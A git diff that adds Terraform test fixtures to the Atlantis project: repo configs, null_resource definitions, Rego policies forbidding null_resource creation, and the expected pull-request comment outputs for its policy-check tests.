+++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo-server-side/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/atlantis.yaml b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/atlantis.yaml new file mode 100644 index 0000000000..e4541ef872 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/atlantis.yaml @@ -0,0 +1,5 @@ +version: 3 +projects: +- dir: . + workspace: default + policy_check: false diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-apply-failed.txt b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-apply-failed.txt new file mode 100644 index 0000000000..2ae26e9fe5 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-apply-failed.txt @@ -0,0 +1,3 @@ +Ran Apply for dir: `.` workspace: `default` + +**Apply Failed**: All policies must pass for project before running apply. \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-apply.txt b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-apply.txt new file mode 100644 index 0000000000..a54764c3bd --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-apply.txt @@ -0,0 +1,12 @@ +Ran Apply for dir: `.` workspace: `default` + +```diff +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +workspace = "default" +``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-approve-policies.txt b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-approve-policies.txt new file mode 100644 index 0000000000..f5e100c23e --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-approve-policies.txt @@ -0,0 +1,5 @@ +Approved Policies for 1 projects: + +1. dir: `.` workspace: `default` + + diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-auto-policy-check.txt b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-auto-policy-check.txt new file mode 100644 index 0000000000..3d94c6521c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-auto-policy-check.txt @@ -0,0 +1,38 @@ +Ran Policy Check for dir: `.` workspace: `default` + +**Policy Check Failed**: Some policy sets did not pass. +#### Policy Set: `test_policy` +```diff +FAIL - - main - WARNING: Null Resource creation is prohibited. + +1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions + +``` + + +#### Policy Approval Status: +``` +policy set: test_policy: requires: 1 approval(s), have: 0. +``` +* :heavy_check_mark: To **approve** this project, comment: + ```shell + atlantis approve_policies -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan -d . + ``` +--- +* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: + ```shell + atlantis approve_policies + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-autoplan.txt new file mode 100644 index 0000000000..d3f41336a8 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-autoplan.txt @@ -0,0 +1,43 @@ +Ran Plan for dir: `.` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ workspace = "default" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-merge.txt new file mode 100644 index 0000000000..872c5ee40c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/exp-output-merge.txt @@ -0,0 +1,3 @@ +Locks and plans deleted for the projects and workspaces modified in this pull request: + +- dir: `.` workspace: `default` diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/main.tf b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/main.tf new file mode 100644 index 0000000000..582f9ea01d --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/main.tf @@ -0,0 +1,7 @@ +resource "null_resource" "simple" { + count = 1 +} + +output "workspace" { + value = terraform.workspace +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/policies/policy.rego b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/policies/policy.rego new file mode 100644 index 0000000000..126c2e4591 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/policies/policy.rego @@ -0,0 +1,28 @@ +package main + +import input as tfplan + +deny[reason] { + num_deletes.null_resource > 0 + reason := "WARNING: Null Resource creation is prohibited." +} + +resource_types = {"null_resource"} + +resources[resource_type] = all { + some resource_type + resource_types[resource_type] + all := [name | + name := tfplan.resource_changes[_] + name.type == resource_type + ] +} + +# number of deletions of resources of a given type +num_deletes[resource_type] = num { + some resource_type + resource_types[resource_type] + all := resources[resource_type] + deletions := [res | res := all[_]; res.change.actions[_] == "create"] + num := count(deletions) +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/repos.yaml b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/repos.yaml new file mode 100644 index 0000000000..a5fa0cb9e2 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/repos.yaml @@ -0,0 +1,9 @@ +policies: + owners: + users: + - runatlantis + policy_sets: + - name: test_policy + path: policies/policy.rego + source: local + diff --git a/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/versions.tf b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-disabled-repo/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/atlantis.yaml b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/atlantis.yaml new file mode 100644 index 0000000000..8435733cd2 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/atlantis.yaml @@ -0,0 +1,4 @@ +version: 3 +projects: +- dir: . + workspace: default diff --git a/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-apply-failed.txt b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-apply-failed.txt new file mode 100644 index 0000000000..2ae26e9fe5 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-apply-failed.txt @@ -0,0 +1,3 @@ +Ran Apply for dir: `.` workspace: `default` + +**Apply Failed**: All policies must pass for project before running apply. \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-apply.txt b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-apply.txt new file mode 100644 index 0000000000..a54764c3bd --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-apply.txt @@ -0,0 +1,12 @@ +Ran Apply for dir: `.` workspace: `default` + +```diff +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +workspace = "default" +``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-approve-policies.txt b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-approve-policies.txt new file mode 100644 index 0000000000..f5e100c23e --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-approve-policies.txt @@ -0,0 +1,5 @@ +Approved Policies for 1 projects: + +1. dir: `.` workspace: `default` + + diff --git a/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-auto-policy-check.txt b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-auto-policy-check.txt new file mode 100644 index 0000000000..3d94c6521c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-auto-policy-check.txt @@ -0,0 +1,38 @@ +Ran Policy Check for dir: `.` workspace: `default` + +**Policy Check Failed**: Some policy sets did not pass. +#### Policy Set: `test_policy` +```diff +FAIL - - main - WARNING: Null Resource creation is prohibited. + +1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions + +``` + + +#### Policy Approval Status: +``` +policy set: test_policy: requires: 1 approval(s), have: 0. +``` +* :heavy_check_mark: To **approve** this project, comment: + ```shell + atlantis approve_policies -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan -d . + ``` +--- +* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: + ```shell + atlantis approve_policies + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-autoplan.txt new file mode 100644 index 0000000000..d3f41336a8 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-autoplan.txt @@ -0,0 +1,43 @@ +Ran Plan for dir: `.` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ workspace = "default" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-merge.txt new file mode 100644 index 0000000000..872c5ee40c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/exp-output-merge.txt @@ -0,0 +1,3 @@ +Locks and plans deleted for the projects and workspaces modified in this pull request: + +- dir: `.` workspace: `default` diff --git a/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/main.tf b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/main.tf new file mode 100644 index 0000000000..582f9ea01d --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/main.tf @@ -0,0 +1,7 @@ +resource "null_resource" "simple" { + count = 1 +} + +output "workspace" { + value = terraform.workspace +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/policies/policy.rego b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/policies/policy.rego new file mode 100644 index 0000000000..126c2e4591 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/policies/policy.rego @@ -0,0 +1,28 @@ +package main + +import input as tfplan + +deny[reason] { + num_deletes.null_resource > 0 + reason := "WARNING: Null Resource creation is prohibited." +} + +resource_types = {"null_resource"} + +resources[resource_type] = all { + some resource_type + resource_types[resource_type] + all := [name | + name := tfplan.resource_changes[_] + name.type == resource_type + ] +} + +# number of deletions of resources of a given type +num_deletes[resource_type] = num { + some resource_type + resource_types[resource_type] + all := resources[resource_type] + deletions := [res | res := all[_]; res.change.actions[_] == "create"] + num := count(deletions) +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/repos.yaml b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/repos.yaml new file mode 100644 index 0000000000..2053ab2548 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/repos.yaml @@ -0,0 +1,13 @@ +repos: + - id: /.*/ + policy_check: true + +policies: + owners: + users: + - runatlantis + policy_sets: + - name: test_policy + path: policies/policy.rego + source: local + diff --git a/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/versions.tf b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo-server-side/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/atlantis.yaml b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/atlantis.yaml new file mode 100644 index 0000000000..42d53db22d --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/atlantis.yaml @@ -0,0 +1,5 @@ +version: 3 +projects: +- dir: . + workspace: default + policy_check: true diff --git a/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-apply-failed.txt b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-apply-failed.txt new file mode 100644 index 0000000000..2ae26e9fe5 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-apply-failed.txt @@ -0,0 +1,3 @@ +Ran Apply for dir: `.` workspace: `default` + +**Apply Failed**: All policies must pass for project before running apply. \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-apply.txt b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-apply.txt new file mode 100644 index 0000000000..a54764c3bd --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-apply.txt @@ -0,0 +1,12 @@ +Ran Apply for dir: `.` workspace: `default` + +```diff +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +workspace = "default" +``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-approve-policies.txt b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-approve-policies.txt new file mode 100644 index 0000000000..f5e100c23e --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-approve-policies.txt @@ -0,0 +1,5 @@ +Approved Policies for 1 projects: + +1. dir: `.` workspace: `default` + + diff --git a/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-auto-policy-check.txt b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-auto-policy-check.txt new file mode 100644 index 0000000000..3d94c6521c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-auto-policy-check.txt @@ -0,0 +1,38 @@ +Ran Policy Check for dir: `.` workspace: `default` + +**Policy Check Failed**: Some policy sets did not pass. +#### Policy Set: `test_policy` +```diff +FAIL - - main - WARNING: Null Resource creation is prohibited. + +1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions + +``` + + +#### Policy Approval Status: +``` +policy set: test_policy: requires: 1 approval(s), have: 0. +``` +* :heavy_check_mark: To **approve** this project, comment: + ```shell + atlantis approve_policies -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan -d . + ``` +--- +* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: + ```shell + atlantis approve_policies + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-autoplan.txt new file mode 100644 index 0000000000..d3f41336a8 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-autoplan.txt @@ -0,0 +1,43 @@ +Ran Plan for dir: `.` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ workspace = "default" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-merge.txt new file mode 100644 index 0000000000..872c5ee40c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/exp-output-merge.txt @@ -0,0 +1,3 @@ +Locks and plans deleted for the projects and workspaces modified in this pull request: + +- dir: `.` workspace: `default` diff --git a/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/main.tf b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/main.tf new file mode 100644 index 0000000000..582f9ea01d --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/main.tf @@ -0,0 +1,7 @@ +resource "null_resource" "simple" { + count = 1 +} + +output "workspace" { + value = terraform.workspace +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/policies/policy.rego b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/policies/policy.rego new file mode 100644 index 0000000000..126c2e4591 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/policies/policy.rego @@ -0,0 +1,28 @@ +package main + +import input as tfplan + +deny[reason] { + num_deletes.null_resource > 0 + reason := "WARNING: Null Resource creation is prohibited." +} + +resource_types = {"null_resource"} + +resources[resource_type] = all { + some resource_type + resource_types[resource_type] + all := [name | + name := tfplan.resource_changes[_] + name.type == resource_type + ] +} + +# number of deletions of resources of a given type +num_deletes[resource_type] = num { + some resource_type + resource_types[resource_type] + all := resources[resource_type] + deletions := [res | res := all[_]; res.change.actions[_] == "create"] + num := count(deletions) +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/repos.yaml b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/repos.yaml new file mode 100644 index 0000000000..a5fa0cb9e2 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/repos.yaml @@ -0,0 +1,9 @@ +policies: + owners: + users: + - runatlantis + policy_sets: + - name: test_policy + path: policies/policy.rego + source: local + diff --git a/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/versions.tf b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-enabled-repo/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-extra-args/atlantis.yaml b/server/controllers/events/testdata/test-repos/policy-checks-extra-args/atlantis.yaml new file mode 100644 index 0000000000..8435733cd2 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-extra-args/atlantis.yaml @@ -0,0 +1,4 @@ +version: 3 +projects: +- dir: . + workspace: default diff --git a/server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-apply-failed.txt b/server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-apply-failed.txt new file mode 100644 index 0000000000..2ae26e9fe5 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-apply-failed.txt @@ -0,0 +1,3 @@ +Ran Apply for dir: `.` workspace: `default` + +**Apply Failed**: All policies must pass for project before running apply. \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-apply.txt b/server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-apply.txt new file mode 100644 index 0000000000..336a849553 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-apply.txt @@ -0,0 +1,14 @@ +Ran Apply for dir: `.` workspace: `default` + +```diff +null_resource.simple: +null_resource.simple: + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. + +Outputs: + +workspace = "default" + +``` + diff --git a/server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-approve-policies.txt b/server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-approve-policies.txt new file mode 100644 index 0000000000..f5e100c23e --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-approve-policies.txt @@ -0,0 +1,5 @@ +Approved Policies for 1 projects: + +1. dir: `.` workspace: `default` + + diff --git a/server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-auto-policy-check.txt b/server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-auto-policy-check.txt new file mode 100644 index 0000000000..669b9cb064 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-auto-policy-check.txt @@ -0,0 +1,38 @@ +Ran Policy Check for dir: `.` workspace: `default` + +**Policy Check Failed**: Some policy sets did not pass. +#### Policy Set: `test_policy` +```diff +FAIL - - null_resource_policy - WARNING: Null Resource creation is prohibited. + +1 test, 0 passed, 0 warnings, 1 failure, 0 exceptions + +``` + + +#### Policy Approval Status: +``` +policy set: test_policy: requires: 1 approval(s), have: 0. +``` +* :heavy_check_mark: To **approve** this project, comment: + ```shell + atlantis approve_policies -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan -d . + ``` +--- +* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: + ```shell + atlantis approve_policies + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` +* :repeat: To re-run policies **plan** this project again by commenting: + ```shell + atlantis plan + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-autoplan.txt new file mode 100644 index 0000000000..d3f41336a8 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-autoplan.txt @@ -0,0 +1,43 @@ +Ran Plan for dir: `.` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.simple[0] will be created ++ resource "null_resource" "simple" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. + +Changes to Outputs: ++ workspace = "default" +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-merge.txt new file mode 100644 index 0000000000..872c5ee40c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-extra-args/exp-output-merge.txt @@ -0,0 +1,3 @@ +Locks and plans deleted for the projects and workspaces modified in this pull request: + +- dir: `.` workspace: `default` diff --git a/server/controllers/events/testdata/test-repos/policy-checks-extra-args/main.tf b/server/controllers/events/testdata/test-repos/policy-checks-extra-args/main.tf new file mode 100644 index 0000000000..582f9ea01d --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-extra-args/main.tf @@ -0,0 +1,7 @@ +resource "null_resource" "simple" { + count = 1 +} + +output "workspace" { + value = terraform.workspace +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-extra-args/policies/policy.rego b/server/controllers/events/testdata/test-repos/policy-checks-extra-args/policies/policy.rego new file mode 100644 index 0000000000..54e13779e0 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-extra-args/policies/policy.rego @@ -0,0 +1,28 @@ +package null_resource_policy + +import input as tfplan + +deny[reason] { + num_deletes.null_resource > 0 + reason := "WARNING: Null Resource creation is prohibited." +} + +resource_types = {"null_resource"} + +resources[resource_type] = all { + some resource_type + resource_types[resource_type] + all := [name | + name := tfplan.resource_changes[_] + name.type == resource_type + ] +} + +# number of deletions of resources of a given type +num_deletes[resource_type] = num { + some resource_type + resource_types[resource_type] + all := resources[resource_type] + deletions := [res | res := all[_]; res.change.actions[_] == "create"] + num := count(deletions) +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-extra-args/repos.yaml b/server/controllers/events/testdata/test-repos/policy-checks-extra-args/repos.yaml new file mode 100644 index 0000000000..0981f5f3fe --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-extra-args/repos.yaml @@ -0,0 +1,16 @@ +policies: + owners: + users: + - runatlantis + policy_sets: + - name: test_policy + path: policies/policy.rego + source: local +workflows: + default: + policy_check: + steps: + - show + - policy_check: + extra_args: ["--all-namespaces"] + diff --git a/server/controllers/events/testdata/test-repos/policy-checks-extra-args/versions.tf b/server/controllers/events/testdata/test-repos/policy-checks-extra-args/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-extra-args/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/atlantis.yaml b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/atlantis.yaml new file mode 100644 index 0000000000..006db31ba5 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/atlantis.yaml @@ -0,0 +1,4 @@ +version: 3 +projects: +- dir: dir1 +- dir: dir2 diff --git a/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/dir1/main.tf b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/dir1/main.tf new file mode 100644 index 0000000000..582f9ea01d --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/dir1/main.tf @@ -0,0 +1,7 @@ +resource "null_resource" "simple" { + count = 1 +} + +output "workspace" { + value = terraform.workspace +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/dir1/versions.tf b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/dir1/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/dir1/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/dir2/main.tf b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/dir2/main.tf new file mode 100644 index 0000000000..8813d4459c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/policy-checks-multi-projects/dir2/main.tf @@ -0,0 +1,7 @@ +resource "null_resource" "forbidden" { + count = 1 +} + +output "workspace" { + value = terraform.workspace +} diff --git 